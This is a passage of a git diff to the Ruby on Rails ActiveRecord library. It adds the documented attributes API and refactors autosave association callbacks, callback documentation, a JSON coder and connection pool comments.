+      #   class StoreListing < ActiveRecord::Base
+      #   end
+      #
+      #   store_listing = StoreListing.new(price_in_cents: '10.1')
+      #
+      #   # before
+      #   store_listing.price_in_cents # => BigDecimal.new(10.1)
+      #
+      #   class StoreListing < ActiveRecord::Base
+      #     attribute :price_in_cents, :integer
+      #   end
+      #
+      #   # after
+      #   store_listing.price_in_cents # => 10
+      #
+      # A default can also be provided.
+      #
+      #   create_table :store_listings, force: true do |t|
+      #     t.string :my_string, default: "original default"
+      #   end
+      #
+      #   StoreListing.new.my_string # => "original default"
+      #
+      #   class StoreListing < ActiveRecord::Base
+      #     attribute :my_string, :string, default: "new default"
+      #   end
+      #
+      #   StoreListing.new.my_string # => "new default"
+      #
+      # Attributes do not need to be backed by a database column.
+      #
+      #   class MyModel < ActiveRecord::Base
+      #     attribute :my_string, :string
+      #     attribute :my_int_array, :integer, array: true
+      #     attribute :my_float_range, :float, range: true
+      #   end
+      #
+      #   model = MyModel.new(
+      #     my_string: "string",
+      #     my_int_array: ["1", "2", "3"],
+      #     my_float_range: "[1,3.5]",
+      #   )
+      #   model.attributes
+      #   # =>
+      #     {
+      #       my_string: "string",
+      #       my_int_array: [1, 2, 3],
+      #       my_float_range: 1.0..3.5
+      #     }
+      #
+      # ==== Creating Custom Types
+      #
+      # Users may also define their own custom types, as long as they respond
+      # to the methods defined on the value type. The method
+      # +type_cast_from_database+ or +type_cast_from_user+ will be called on
+      # your type object, with raw input from the database or from your
+      # controllers.  See ActiveRecord::Type::Value for the expected API. It is
+      # recommended that your type objects inherit from an existing type, or
+      # from ActiveRecord::Type::Value
+      #
+      #   class MoneyType < ActiveRecord::Type::Integer
+      #     def type_cast_from_user(value)
+      #       if value.include?('$')
+      #         price_in_dollars = value.gsub(/\$/, '').to_f
+      #         super(price_in_dollars * 100)
+      #       else
+      #         super
+      #       end
+      #     end
+      #   end
+      #
+      #   class StoreListing < ActiveRecord::Base
+      #     attribute :price_in_cents, MoneyType.new
+      #   end
+      #
+      #   store_listing = StoreListing.new(price_in_cents: '$10.00')
+      #   store_listing.price_in_cents # => 1000
+      #
+      # For more details on creating custom types, see the documentation for
+      # ActiveRecord::Type::Value.
+      #
+      # ==== Querying
+      #
+      # When ActiveRecord::QueryMethods#where is called, it will
+      # use the type defined by the model class to convert the value to SQL,
+      # calling +type_cast_for_database+ on your type object. For example:
+      #
+      #   class Money < Struct.new(:amount, :currency)
+      #   end
+      #
+      #   class MoneyType < Type::Value
+      #     def initialize(currency_converter)
+      #       @currency_converter = currency_converter
+      #     end
+      #
+      #     # value will be the result of +type_cast_from_database+ or
+      #     # +type_cast_from_user+. Assumed to be in instance of +Money+ in
+      #     # this case.
+      #     def type_cast_for_database(value)
+      #       value_in_bitcoins = @currency_converter.convert_to_bitcoins(value)
+      #       value_in_bitcoins.amount
+      #     end
+      #   end
+      #
+      #   class Product < ActiveRecord::Base
+      #     currency_converter = ConversionRatesFromTheInternet.new
+      #     attribute :price_in_bitcoins, MoneyType.new(currency_converter)
+      #   end
+      #
+      #   Product.where(price_in_bitcoins: Money.new(5, "USD"))
+      #   # => SELECT * FROM products WHERE price_in_bitcoins = 0.02230
+      #
+      #   Product.where(price_in_bitcoins: Money.new(5, "GBP"))
+      #   # => SELECT * FROM products WHERE price_in_bitcoins = 0.03412
+      #
+      # ==== Dirty Tracking
+      #
+      # The type of an attribute is given the opportunity to change how dirty
+      # tracking is performed. The methods +changed?+ and +changed_in_place?+
+      # will be called from ActiveModel::Dirty. See the documentation for those
+      # methods in ActiveRecord::Type::Value for more details.
+      def attribute(name, cast_type, **options)
+        name = name.to_s
+        reload_schema_from_cache
+
+        self.attributes_to_define_after_schema_loads =
+          attributes_to_define_after_schema_loads.merge(
+            name => [cast_type, options]
+          )
+      end
+
+      # This is the low level API which sits beneath +attribute+. It only
+      # accepts type objects, and will do its work immediately instead of
+      # waiting for the schema to load. Automatic schema detection and
+      # ClassMethods#attribute both call this under the hood. While this method
+      # is provided so it can be used by plugin authors, application code
+      # should probably use ClassMethods#attribute.
+      #
+      # +name+ The name of the attribute being defined. Expected to be a +String+.
+      #
+      # +cast_type+ The type object to use for this attribute.
+      #
+      # +default+ The default value to use when no value is provided. If this option
+      # is not passed, the previous default value (if any) will be used.
+      # Otherwise, the default will be +nil+.
+      #
+      # +user_provided_default+ Whether the default value should be cast using
+      # +type_cast_from_user+ or +type_cast_from_database+.
+      def define_attribute(
+        name,
+        cast_type,
+        default: NO_DEFAULT_PROVIDED,
+        user_provided_default: true
+      )
+        attribute_types[name] = cast_type
+        define_default_attribute(name, default, cast_type, from_user: user_provided_default)
+      end
+
+      def load_schema! # :nodoc:
+        super
+        attributes_to_define_after_schema_loads.each do |name, (type, options)|
+          if type.is_a?(Symbol)
+            type = connection.type_for_attribute_options(type, **options.except(:default))
+          end
+
+          define_attribute(name, type, **options.slice(:default))
+        end
+      end
+
+      private
+
+      NO_DEFAULT_PROVIDED = Object.new # :nodoc:
+      private_constant :NO_DEFAULT_PROVIDED
+
+      def define_default_attribute(name, value, type, from_user:)
+        if value == NO_DEFAULT_PROVIDED
+          default_attribute = _default_attributes[name].with_type(type)
+        elsif from_user
+          default_attribute = Attribute.from_user(name, value, type)
+        else
+          default_attribute = Attribute.from_database(name, value, type)
+        end
+        _default_attributes[name] = default_attribute
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/autosave_association.rb b/activerecord/lib/active_record/autosave_association.rb
index b30d1eb0a6..0792d19c3e 100644
--- a/activerecord/lib/active_record/autosave_association.rb
+++ b/activerecord/lib/active_record/autosave_association.rb
@@ -35,7 +35,7 @@ module ActiveRecord
   #
   # === One-to-one Example
   #
-  #   class Post
+  #   class Post < ActiveRecord::Base
   #     has_one :author, autosave: true
   #   end
   #
@@ -76,7 +76,7 @@ module ActiveRecord
   #
   # When <tt>:autosave</tt> is not declared new children are saved when their parent is saved:
   #
-  #   class Post
+  #   class Post < ActiveRecord::Base
   #     has_many :comments # :autosave option is not declared
   #   end
   #
@@ -95,20 +95,23 @@ module ActiveRecord
   # When <tt>:autosave</tt> is true all children are saved, no matter whether they
   # are new records or not:
   #
-  #   class Post
+  #   class Post < ActiveRecord::Base
   #     has_many :comments, autosave: true
   #   end
   #
   #   post = Post.create(title: 'ruby rocks')
   #   post.comments.create(body: 'hello world')
   #   post.comments[0].body = 'hi everyone'
-  #   post.save # => saves both post and comment, with 'hi everyone' as body
+  #   post.comments.build(body: "good morning.")
+  #   post.title += "!"
+  #   post.save # => saves both post and comments.
   #
   # Destroying one of the associated models as part of the parent's save action
   # is as simple as marking it for destruction:
   #
-  #   post.comments.last.mark_for_destruction
-  #   post.comments.last.marked_for_destruction? # => true
+  #   post.comments # => [#<Comment id: 1, ...>, #<Comment id: 2, ...]>
+  #   post.comments[1].mark_for_destruction
+  #   post.comments[1].marked_for_destruction? # => true
   #   post.comments.length # => 2
   #
   # Note that the model is _not_ yet removed from the database:
@@ -143,49 +146,47 @@ module ActiveRecord
     module ClassMethods
       private
 
-      def define_non_cyclic_method(name, reflection, &block)
-        define_method(name) do |*args|
-          result = true; @_already_called ||= {}
-          # Loop prevention for validation of associations
-          unless @_already_called[[name, reflection.name]]
-            begin
-              @_already_called[[name, reflection.name]]=true
-              result = instance_eval(&block)
-            ensure
-              @_already_called[[name, reflection.name]]=false
+        def define_non_cyclic_method(name, &block)
+          return if method_defined?(name)
+          define_method(name) do |*args|
+            result = true; @_already_called ||= {}
+            # Loop prevention for validation of associations
+            unless @_already_called[name]
+              begin
+                @_already_called[name]=true
+                result = instance_eval(&block)
+              ensure
+                @_already_called[name]=false
+              end
             end
-          end
 
-          result
+            result
+          end
         end
-      end
 
-      # Adds validation and save callbacks for the association as specified by
-      # the +reflection+.
-      #
-      # For performance reasons, we don't check whether to validate at runtime.
-      # However the validation and callback methods are lazy and those methods
-      # get created when they are invoked for the very first time. However,
-      # this can change, for instance, when using nested attributes, which is
-      # called _after_ the association has been defined. Since we don't want
-      # the callbacks to get defined multiple times, there are guards that
-      # check if the save or validation methods have already been defined
-      # before actually defining them.
-      def add_autosave_association_callbacks(reflection)
-        save_method = :"autosave_associated_records_for_#{reflection.name}"
-        validation_method = :"validate_associated_records_for_#{reflection.name}"
-        collection = reflection.collection?
-
-        unless method_defined?(save_method)
-          if collection
+        # Adds validation and save callbacks for the association as specified by
+        # the +reflection+.
+        #
+        # For performance reasons, we don't check whether to validate at runtime.
+        # However the validation and callback methods are lazy and those methods
+        # get created when they are invoked for the very first time. However,
+        # this can change, for instance, when using nested attributes, which is
+        # called _after_ the association has been defined. Since we don't want
+        # the callbacks to get defined multiple times, there are guards that
+        # check if the save or validation methods have already been defined
+        # before actually defining them.
+        def add_autosave_association_callbacks(reflection)
+          save_method = :"autosave_associated_records_for_#{reflection.name}"
+
+          if reflection.collection?
             before_save :before_save_collection_association
 
-            define_non_cyclic_method(save_method, reflection) { save_collection_association(reflection) }
+            define_non_cyclic_method(save_method) { save_collection_association(reflection) }
             # Doesn't use after_save as that would save associations added in after_create/after_update twice
             after_create save_method
             after_update save_method
-          elsif reflection.macro == :has_one
-            define_method(save_method) { save_has_one_association(reflection) }
+          elsif reflection.has_one?
+            define_method(save_method) { save_has_one_association(reflection) } unless method_defined?(save_method)
             # Configures two callbacks instead of a single after_save so that
             # the model may rely on their execution order relative to its
             # own callbacks.
@@ -197,17 +198,32 @@ module ActiveRecord
             after_create save_method
             after_update save_method
           else
-            define_non_cyclic_method(save_method, reflection) { save_belongs_to_association(reflection) }
+            define_non_cyclic_method(save_method) { throw(:abort) if save_belongs_to_association(reflection) == false }
             before_save save_method
           end
+
+          define_autosave_validation_callbacks(reflection)
         end
 
-        if reflection.validate? && !method_defined?(validation_method)
-          method = (collection ? :validate_collection_association : :validate_single_association)
-          define_non_cyclic_method(validation_method, reflection) { send(method, reflection) }
-          validate validation_method
+        def define_autosave_validation_callbacks(reflection)
+          validation_method = :"validate_associated_records_for_#{reflection.name}"
+          if reflection.validate? && !method_defined?(validation_method)
+            if reflection.collection?
+              method = :validate_collection_association
+            else
+              method = :validate_single_association
+            end
+
+            define_non_cyclic_method(validation_method) do
+              send(method, reflection)
+              # TODO: remove the following line as soon as the return value of
+              # callbacks is ignored, that is, returning `false` does not
+              # display a deprecation warning or halts the callback chain.
+              true
+            end
+            validate validation_method
+          end
         end
-      end
     end
 
     # Reloads the attributes of the object as usual and clears <tt>marked_for_destruction</tt> flag.
@@ -254,173 +270,191 @@ module ActiveRecord
 
     private
 
-    # Returns the record for an association collection that should be validated
-    # or saved. If +autosave+ is +false+ only new records will be returned,
-    # unless the parent is/was a new record itself.
-    def associated_records_to_validate_or_save(association, new_record, autosave)
-      if new_record
-        association && association.target
-      elsif autosave
-        association.target.find_all { |record| record.changed_for_autosave? }
-      else
-        association.target.find_all { |record| record.new_record? }
+      # Returns the record for an association collection that should be validated
+      # or saved. If +autosave+ is +false+ only new records will be returned,
+      # unless the parent is/was a new record itself.
+      def associated_records_to_validate_or_save(association, new_record, autosave)
+        if new_record
+          association && association.target
+        elsif autosave
+          association.target.find_all(&:changed_for_autosave?)
+        else
+          association.target.find_all(&:new_record?)
+        end
       end
-    end
 
-    # go through nested autosave associations that are loaded in memory (without loading
-    # any new ones), and return true if is changed for autosave
-    def nested_records_changed_for_autosave?
-      self.class.reflect_on_all_autosave_associations.any? do |reflection|
-        association = association_instance_get(reflection.name)
-        association && Array.wrap(association.target).any? { |a| a.changed_for_autosave? }
+      # go through nested autosave associations that are loaded in memory (without loading
+      # any new ones), and return true if is changed for autosave
+      def nested_records_changed_for_autosave?
+        @_nested_records_changed_for_autosave_already_called ||= false
+        return false if @_nested_records_changed_for_autosave_already_called
+        begin
+          @_nested_records_changed_for_autosave_already_called = true
+          self.class._reflections.values.any? do |reflection|
+            if reflection.options[:autosave]
+              association = association_instance_get(reflection.name)
+              association && Array.wrap(association.target).any?(&:changed_for_autosave?)
+            end
+          end
+        ensure
+          @_nested_records_changed_for_autosave_already_called = false
+        end
       end
-    end
 
-    # Validate the association if <tt>:validate</tt> or <tt>:autosave</tt> is
-    # turned on for the association.
-    def validate_single_association(reflection)
-      association = association_instance_get(reflection.name)
-      record      = association && association.reader
-      association_valid?(reflection, record) if record
-    end
+      # Validate the association if <tt>:validate</tt> or <tt>:autosave</tt> is
+      # turned on for the association.
+      def validate_single_association(reflection)
+        association = association_instance_get(reflection.name)
+        record      = association && association.reader
+        association_valid?(reflection, record) if record
+      end
 
-    # Validate the associated records if <tt>:validate</tt> or
-    # <tt>:autosave</tt> is turned on for the association specified by
-    # +reflection+.
-    def validate_collection_association(reflection)
-      if association = association_instance_get(reflection.name)
-        if records = associated_records_to_validate_or_save(association, new_record?, reflection.options[:autosave])
-          records.each { |record| association_valid?(reflection, record) }
+      # Validate the associated records if <tt>:validate</tt> or
+      # <tt>:autosave</tt> is turned on for the association specified by
+      # +reflection+.
+      def validate_collection_association(reflection)
+        if association = association_instance_get(reflection.name)
+          if records = associated_records_to_validate_or_save(association, new_record?, reflection.options[:autosave])
+            records.each { |record| association_valid?(reflection, record) }
+          end
         end
       end
-    end
 
-    # Returns whether or not the association is valid and applies any errors to
-    # the parent, <tt>self</tt>, if it wasn't. Skips any <tt>:autosave</tt>
-    # enabled records if they're marked_for_destruction? or destroyed.
-    def association_valid?(reflection, record)
-      return true if record.destroyed? || record.marked_for_destruction?
-
-      unless valid = record.valid?
-        if reflection.options[:autosave]
-          record.errors.each do |attribute, message|
-            attribute = "#{reflection.name}.#{attribute}"
-            errors[attribute] << message
-            errors[attribute].uniq!
+      # Returns whether or not the association is valid and applies any errors to
+      # the parent, <tt>self</tt>, if it wasn't. Skips any <tt>:autosave</tt>
+      # enabled records if they're marked_for_destruction? or destroyed.
+      def association_valid?(reflection, record)
+        return true if record.destroyed? || record.marked_for_destruction?
+
+        validation_context = self.validation_context unless [:create, :update].include?(self.validation_context)
+        unless valid = record.valid?(validation_context)
+          if reflection.options[:autosave]
+            record.errors.each do |attribute, message|
+              attribute = "#{reflection.name}.#{attribute}"
+              errors[attribute] << message
+              errors[attribute].uniq!
+            end
+          else
+            errors.add(reflection.name)
           end
-        else
-          errors.add(reflection.name)
         end
+        valid
       end
-      valid
-    end
 
-    # Is used as a before_save callback to check while saving a collection
-    # association whether or not the parent was a new record before saving.
-    def before_save_collection_association
-      @new_record_before_save = new_record?
-      true
-    end
+      # Is used as a before_save callback to check while saving a collection
+      # association whether or not the parent was a new record before saving.
+      def before_save_collection_association
+        @new_record_before_save = new_record?
+        true
+      end
 
-    # Saves any new associated records, or all loaded autosave associations if
-    # <tt>:autosave</tt> is enabled on the association.
-    #
-    # In addition, it destroys all children that were marked for destruction
-    # with mark_for_destruction.
-    #
-    # This all happens inside a transaction, _if_ the Transactions module is included into
-    # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
-    def save_collection_association(reflection)
-      if association = association_instance_get(reflection.name)
-        autosave = reflection.options[:autosave]
-
-        if records = associated_records_to_validate_or_save(association, @new_record_before_save, autosave)
-
-          if autosave
-            records_to_destroy = records.select(&:marked_for_destruction?)
-            records_to_destroy.each { |record| association.destroy(record) }
-            records -= records_to_destroy
-          end
+      # Saves any new associated records, or all loaded autosave associations if
+      # <tt>:autosave</tt> is enabled on the association.
+      #
+      # In addition, it destroys all children that were marked for destruction
+      # with mark_for_destruction.
+      #
+      # This all happens inside a transaction, _if_ the Transactions module is included into
+      # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+      def save_collection_association(reflection)
+        if association = association_instance_get(reflection.name)
+          autosave = reflection.options[:autosave]
+
+          if records = associated_records_to_validate_or_save(association, @new_record_before_save, autosave)
+            if autosave
+              records_to_destroy = records.select(&:marked_for_destruction?)
+              records_to_destroy.each { |record| association.destroy(record) }
+              records -= records_to_destroy
+            end
 
-          records.each do |record|
-            next if record.destroyed?
+            records.each do |record|
+              next if record.destroyed?
 
-            saved = true
+              saved = true
 
-            if autosave != false && (@new_record_before_save || record.new_record?)
-              if autosave
-                saved = association.insert_record(record, false)
-              else
-                association.insert_record(record) unless reflection.nested?
+              if autosave != false && (@new_record_before_save || record.new_record?)
+                if autosave
+                  saved = association.insert_record(record, false)
+                else
+                  association.insert_record(record) unless reflection.nested?
+                end
+              elsif autosave
+                saved = record.save(:validate => false)
               end
-            elsif autosave
-              saved = record.save(:validate => false)
-            end
 
-            raise ActiveRecord::Rollback unless saved
+              raise ActiveRecord::Rollback unless saved
+            end
           end
-        end
 
-        # reconstruct the scope now that we know the owner's id
-        association.reset_scope if association.respond_to?(:reset_scope)
+          # reconstruct the scope now that we know the owner's id
+          association.reset_scope if association.respond_to?(:reset_scope)
+        end
       end
-    end
 
-    # Saves the associated record if it's new or <tt>:autosave</tt> is enabled
-    # on the association.
-    #
-    # In addition, it will destroy the association if it was marked for
-    # destruction with mark_for_destruction.
-    #
-    # This all happens inside a transaction, _if_ the Transactions module is included into
-    # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
-    def save_has_one_association(reflection)
-      association = association_instance_get(reflection.name)
-      record      = association && association.load_target
-      if record && !record.destroyed?
-        autosave = reflection.options[:autosave]
-
-        if autosave && record.marked_for_destruction?
-          record.destroy
-        else
-          key = reflection.options[:primary_key] ? send(reflection.options[:primary_key]) : id
-          if autosave != false && (new_record? || record.new_record? || record[reflection.foreign_key] != key || autosave)
-            unless reflection.through_reflection
-              record[reflection.foreign_key] = key
-            end
+      # Saves the associated record if it's new or <tt>:autosave</tt> is enabled
+      # on the association.
+      #
+      # In addition, it will destroy the association if it was marked for
+      # destruction with mark_for_destruction.
+      #
+      # This all happens inside a transaction, _if_ the Transactions module is included into
+      # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+      def save_has_one_association(reflection)
+        association = association_instance_get(reflection.name)
+        record      = association && association.load_target
 
-            saved = record.save(:validate => !autosave)
-            raise ActiveRecord::Rollback if !saved && autosave
-            saved
+        if record && !record.destroyed?
+          autosave = reflection.options[:autosave]
+
+          if autosave && record.marked_for_destruction?
+            record.destroy
+          elsif autosave != false
+            key = reflection.options[:primary_key] ? send(reflection.options[:primary_key]) : id
+
+            if (autosave && record.changed_for_autosave?) || new_record? || record_changed?(reflection, record, key)
+              unless reflection.through_reflection
+                record[reflection.foreign_key] = key
+              end
+
+              saved = record.save(:validate => !autosave)
+              raise ActiveRecord::Rollback if !saved && autosave
+              saved
+            end
           end
         end
       end
-    end
 
-    # Saves the associated record if it's new or <tt>:autosave</tt> is enabled.
-    #
-    # In addition, it will destroy the association if it was marked for destruction.
-    def save_belongs_to_association(reflection)
-      association = association_instance_get(reflection.name)
-      record      = association && association.load_target
-      if record && !record.destroyed?
-        autosave = reflection.options[:autosave]
-
-        if autosave && record.marked_for_destruction?
-          self[reflection.foreign_key] = nil
-          record.destroy
-        elsif autosave != false
-          saved = record.save(:validate => !autosave) if record.new_record? || (autosave && record.changed_for_autosave?)
-
-          if association.updated?
-            association_id = record.send(reflection.options[:primary_key] || :id)
-            self[reflection.foreign_key] = association_id
-            association.loaded!
-          end
+      # If the record is new or it has changed, returns true.
+      def record_changed?(reflection, record, key)
+        record.new_record? ||
+          (record.has_attribute?(reflection.foreign_key) && record[reflection.foreign_key] != key) ||
+          record.attribute_changed?(reflection.foreign_key)
+      end
 
-          saved if autosave
+      # Saves the associated record if it's new or <tt>:autosave</tt> is enabled.
+      #
+      # In addition, it will destroy the association if it was marked for destruction.
+      def save_belongs_to_association(reflection)
+        association = association_instance_get(reflection.name)
+        record      = association && association.load_target
+        if record && !record.destroyed?
+          autosave = reflection.options[:autosave]
+
+          if autosave && record.marked_for_destruction?
+            self[reflection.foreign_key] = nil
+            record.destroy
+          elsif autosave != false
+            saved = record.save(:validate => !autosave) if record.new_record? || (autosave && record.changed_for_autosave?)
+
+            if association.updated?
+              association_id = record.send(reflection.options[:primary_key] || :id)
+              self[reflection.foreign_key] = association_id
+              association.loaded!
+            end
+
+            saved if autosave
+          end
         end
       end
-    end
   end
 end
diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb
index 04e3dd49e7..100d3780f6 100644
--- a/activerecord/lib/active_record/base.rb
+++ b/activerecord/lib/active_record/base.rb
@@ -4,21 +4,25 @@ require 'active_support/benchmarkable'
 require 'active_support/dependencies'
 require 'active_support/descendants_tracker'
 require 'active_support/time'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/class/delegating_attributes'
 require 'active_support/core_ext/array/extract_options'
 require 'active_support/core_ext/hash/deep_merge'
 require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/hash/transform_values'
 require 'active_support/core_ext/string/behavior'
 require 'active_support/core_ext/kernel/singleton_class'
 require 'active_support/core_ext/module/introspection'
 require 'active_support/core_ext/object/duplicable'
 require 'active_support/core_ext/class/subclasses'
 require 'arel'
+require 'active_record/attribute_decorators'
 require 'active_record/errors'
 require 'active_record/log_subscriber'
 require 'active_record/explain_subscriber'
 require 'active_record/relation/delegation'
+require 'active_record/attributes'
+require 'active_record/type_caster'
 
 module ActiveRecord #:nodoc:
   # = Active Record
@@ -138,6 +142,7 @@ module ActiveRecord #:nodoc:
   #
   # In addition to the basic accessors, query methods are also automatically available on the Active Record object.
   # Query methods allow you to test whether an attribute value is present.
+  # Additionally, when dealing with numeric values, a query method will return false if the value is zero.
   #
   # For example, an Active Record User with the <tt>name</tt> attribute has a <tt>name?</tt> method that you can call
   # to determine whether the user has a name:
@@ -217,25 +222,9 @@ module ActiveRecord #:nodoc:
   #
   # == Single table inheritance
   #
-  # Active Record allows inheritance by storing the name of the class in a column that by
-  # default is named "type" (can be changed by overwriting <tt>Base.inheritance_column</tt>).
-  # This means that an inheritance looking like this:
-  #
-  #   class Company < ActiveRecord::Base; end
-  #   class Firm < Company; end
-  #   class Client < Company; end
-  #   class PriorityClient < Client; end
-  #
-  # When you do <tt>Firm.create(name: "37signals")</tt>, this record will be saved in
-  # the companies table with type = "Firm". You can then fetch this row again using
-  # <tt>Company.where(name: '37signals').first</tt> and it will return a Firm object.
-  #
-  # If you don't have a type column defined in your table, single-table inheritance won't
-  # be triggered. In that case, it'll work just like normal subclasses with no special magic
-  # for differentiating between them or reloading the right type with find.
-  #
-  # Note, all the attributes for all the cases are kept in the same table. Read more:
-  # http://www.martinfowler.com/eaaCatalog/singleTableInheritance.html
+  # Active Record allows inheritance by storing the name of the class in a
+  # column that is named "type" by default. See ActiveRecord::Inheritance for
+  # more details.
   #
   # == Connection to multiple databases in different models
   #
@@ -291,8 +280,10 @@ module ActiveRecord #:nodoc:
     extend Translation
     extend DynamicMatchers
     extend Explain
+    extend Enum
     extend Delegation::DelegateCache
 
+    include Core
     include Persistence
     include ReadonlyAttributes
     include ModelSchema
@@ -304,6 +295,8 @@ module ActiveRecord #:nodoc:
     include Integration
     include Validations
     include CounterCache
+    include Attributes
+    include AttributeDecorators
     include Locking::Optimistic
     include Locking::Pessimistic
     include AttributeMethods
@@ -315,10 +308,11 @@ module ActiveRecord #:nodoc:
     include NestedAttributes
     include Aggregations
     include Transactions
+    include NoTouching
     include Reflection
     include Serialization
     include Store
-    include Core
+    include SecureToken
   end
 
   ActiveSupport.run_load_hooks(:active_record, Base)
diff --git a/activerecord/lib/active_record/callbacks.rb b/activerecord/lib/active_record/callbacks.rb
index e4c484d64b..f44e5af5de 100644
--- a/activerecord/lib/active_record/callbacks.rb
+++ b/activerecord/lib/active_record/callbacks.rb
@@ -23,11 +23,14 @@ module ActiveRecord
   # Check out <tt>ActiveRecord::Transactions</tt> for more details about <tt>after_commit</tt> and
   # <tt>after_rollback</tt>.
   #
+  # Additionally, an <tt>after_touch</tt> callback is triggered whenever an
+  # object is touched.
+  #
   # Lastly an <tt>after_find</tt> and <tt>after_initialize</tt> callback is triggered for each object that
   # is found and instantiated by a finder, with <tt>after_initialize</tt> being triggered after new objects
   # are instantiated as well.
   #
-  # That's a total of twelve callbacks, which gives you immense power to react and prepare for each state in the
+  # There are nineteen callbacks in total, which give you immense power to react and prepare for each state in the
   # Active Record life cycle. The sequence for calling <tt>Base#save</tt> for an existing record is similar,
   # except that each <tt>_create</tt> callback is replaced by the corresponding <tt>_update</tt> callback.
   #
@@ -125,7 +128,7 @@ module ActiveRecord
   #       record.credit_card_number = decrypt(record.credit_card_number)
   #     end
   #
-  #     alias_method :after_find, :after_save
+  #     alias_method :after_initialize, :after_save
   #
   #     private
   #       def encrypt(value)
@@ -160,7 +163,7 @@ module ActiveRecord
   #       record.send("#{@attribute}=", decrypt(record.send("#{@attribute}")))
   #     end
   #
-  #     alias_method :after_find, :after_save
+  #     alias_method :after_initialize, :after_save
   #
   #     private
   #       def encrypt(value)
@@ -189,14 +192,14 @@ module ActiveRecord
   #
   # == <tt>before_validation*</tt> returning statements
   #
-  # If the returning value of a +before_validation+ callback can be evaluated to +false+, the process will be
+  # If the +before_validation+ callback throws +:abort+, the process will be
   # aborted and <tt>Base#save</tt> will return +false+. If Base#save! is called it will raise a
   # ActiveRecord::RecordInvalid exception. Nothing will be appended to the errors object.
   #
   # == Canceling callbacks
   #
-  # If a <tt>before_*</tt> callback returns +false+, all the later callbacks and the associated action are
-  # cancelled. If an <tt>after_*</tt> callback returns +false+, all the later callbacks are cancelled.
+  # If a <tt>before_*</tt> callback throws +:abort+, all the later callbacks and
+  # the associated action are cancelled.
   # Callbacks are generally run in the order they are defined, with the exception of callbacks defined as
   # methods on the model, which are called last.
   #
@@ -286,25 +289,25 @@ module ActiveRecord
     end
 
     def destroy #:nodoc:
-      run_callbacks(:destroy) { super }
+      _run_destroy_callbacks { super }
     end
 
     def touch(*) #:nodoc:
-      run_callbacks(:touch) { super }
+      _run_touch_callbacks { super }
     end
 
   private
 
-    def create_or_update #:nodoc:
-      run_callbacks(:save) { super }
+    def create_or_update(*) #:nodoc:
+      _run_save_callbacks { super }
     end
 
-    def create_record #:nodoc:
-      run_callbacks(:create) { super }
+    def _create_record #:nodoc:
+      _run_create_callbacks { super }
     end
 
-    def update_record(*) #:nodoc:
-      run_callbacks(:update) { super }
+    def _update_record(*) #:nodoc:
+      _run_update_callbacks { super }
     end
   end
 end
diff --git a/activerecord/lib/active_record/coders/json.rb b/activerecord/lib/active_record/coders/json.rb
new file mode 100644
index 0000000000..75d3bfe625
--- /dev/null
+++ b/activerecord/lib/active_record/coders/json.rb
@@ -0,0 +1,13 @@
+module ActiveRecord
+  module Coders # :nodoc:
+    class JSON # :nodoc:
+      def self.dump(obj)
+        ActiveSupport::JSON.encode(obj)
+      end
+
+      def self.load(json)
+        ActiveSupport::JSON.decode(json) unless json.nil?
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/coders/yaml_column.rb b/activerecord/lib/active_record/coders/yaml_column.rb
index d3d7396c91..9ea22ed798 100644
--- a/activerecord/lib/active_record/coders/yaml_column.rb
+++ b/activerecord/lib/active_record/coders/yaml_column.rb
@@ -8,6 +8,7 @@ module ActiveRecord
 
       def initialize(object_class = Object)
         @object_class = object_class
+        check_arity_of_constructor
       end
 
       def dump(obj)
@@ -33,6 +34,16 @@ module ActiveRecord
 
         obj
       end
+
+      private
+
+      def check_arity_of_constructor
+        begin
+          load(nil)
+        rescue ArgumentError
+          raise ArgumentError, "Cannot serialize #{object_class}. Classes passed to `serialize` must have a 0 argument constructor."
+        end
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
index cfdcae7f63..d99dc9a5db 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
@@ -58,13 +58,11 @@ module ActiveRecord
     # * +checkout_timeout+: number of seconds to block and wait for a connection
     #   before giving up and raising a timeout error (default 5 seconds).
     # * +reaping_frequency+: frequency in seconds to periodically run the
-    #   Reaper, which attempts to find and close dead connections, which can
-    #   occur if a programmer forgets to close a connection at the end of a
-    #   thread or a thread dies unexpectedly. (Default nil, which means don't
-    #   run the Reaper).
-    # * +dead_connection_timeout+: number of seconds from last checkout
-    #   after which the Reaper will consider a connection reapable. (default
-    #   5 seconds).
+    #   Reaper, which attempts to find and recover connections from dead
+    #   threads, which can occur if a programmer forgets to close a
+    #   connection at the end of a thread or a thread dies unexpectedly.
+    #   Regardless of this setting, the Reaper will be invoked before every
+    #   blocking wait. (Default nil, which means don't schedule the Reaper).
     class ConnectionPool
       # Threadsafe, fair, FIFO queue.  Meant to be used by ConnectionPool
       # with which it shares a Monitor.  But could be a generic Queue.
@@ -86,7 +84,7 @@ module ActiveRecord
           end
         end
 
-        # Return the number of threads currently waiting on this
+        # Returns the number of threads currently waiting on this
         # queue.
         def num_waiting
           synchronize do
@@ -123,13 +121,13 @@ module ActiveRecord
         # greater than the number of threads currently waiting (that
         # is, don't jump ahead in line).  Otherwise, return nil.
         #
-        # If +timeout+ is given, block if it there is no element
+        # If +timeout+ is given, block if there is no element
         # available, waiting up to +timeout+ seconds for an element to
         # become available.
         #
         # Raises:
         # - ConnectionTimeoutError if +timeout+ is given and no element
-        # becomes available after +timeout+ seconds,
+        # becomes available within +timeout+ seconds,
         def poll(timeout = nil)
           synchronize do
             if timeout
@@ -152,7 +150,7 @@ module ActiveRecord
         end
 
         # A thread can remove an element from the queue without
-        # waiting if an only if the number of currently available
+        # waiting if and only if the number of currently available
         # connections is strictly greater than the number of waiting
         # threads.
         def can_remove_no_wait?
@@ -222,7 +220,7 @@ module ActiveRecord
 
       include MonitorMixin
 
-      attr_accessor :automatic_reconnect, :checkout_timeout, :dead_connection_timeout
+      attr_accessor :automatic_reconnect, :checkout_timeout
